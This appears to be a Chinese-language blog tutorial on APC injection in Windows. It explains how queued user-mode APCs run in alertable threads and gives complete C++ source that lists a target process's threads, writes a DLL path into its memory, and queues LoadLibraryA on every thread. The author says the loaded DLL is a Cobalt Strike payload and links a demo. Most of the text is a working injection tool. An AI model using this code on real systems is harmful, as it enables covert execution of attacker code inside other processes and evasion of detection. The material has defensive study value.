每一個進程的每一個線程都有自己的APC隊列,我們可以使用QueueUserAPC函數把一個APC函數壓入APC隊列中。當處于用戶模式的APC被壓入到線程APC隊列后,線程并不會立刻執行壓入的APC函數,而是要等到線程處于可通知狀態(alertable)才會執行,即只有當一個線程內部調用SleepEx等上面說到的幾個特定函數將自己處于掛起狀態時,才會執行APC隊列函數,執行順序與普通隊列相同,先進先出(FIFO),在整個執行過程中,線程并無任何異常舉動,不容易被察覺,但缺點是對于單線程程序一般不存在掛起狀態,所以APC注入對于這類程序沒有明顯效果。
實現過程
這里的常規思路是編寫一個根據進程名獲取pid的函數,然后根據PID獲取所有的線程ID,這里我就將兩個函數集合在一起,通過自己輸入PID來獲取指定進程的線程并寫入數組
//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0};
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if(hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍歷所有THREADENTRY32結構, 按順序填入數組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if(dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然后是apc注入的主函數,首先使用VirtualAllocEx遠程申請內存
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory把dll路徑寫入內存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
再獲取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
便利線程并插入APC,這里定義一個fail并進行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1
for(int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if(hThread)
{
// 插入APC
if(!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
然后在到主函數,定義dll地址
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
使用OpenProcess打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
調用之前寫好的APCInject函數實現APC注入
if(!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL");
return FALSE;
}
完整代碼如下
// APCInject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
usingnamespace std;
voidShowError(constchar* pszText)
{
char szError[MAX_PATH] = { 0};
::wsprintf(szError, "%s Error[%d]", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定進程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0};
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if(hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍歷所有THREADENTRY32結構, 按順序填入數組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if(dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請內存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑復制到內存中
if(FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷線程, 插入APC
float fail = 0;
for(int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if(hThread)
{
// 插入APC
if(!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d", dwThreadIdListLength);
printf("Total Failed: %d", (int)fail);
if((int)fail == 0|| dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC");
return TRUE;
}
else
{
printf("Inject may be failed");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0};
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else// _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if(!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads");
exit(0);
}
//打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if(hProcess == NULL)
{
printf("Failed to open Process");
return FALSE;
}
//注入
if(!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL");
return FALSE;
}
return0;
}
之前說過我沒有使用進程名 -> pid的方式,而是直接采用手動輸入的方式,通過cin >> ulProcessID將接收到的參數賦給ulProcessID

這里可以選擇寫一個MessageBox的dll,這里我直接用的是cs的dll,演示效果如下所示
圖片幀數太大,無法上傳,請復制下方鏈接進瀏覽器進行查看

https://cdn.jsdelivr.net/gh/filess/img11@main/2021/10/04/1633344260047-0e932b97-3f51-4d25-99a1-5248caecd866.gif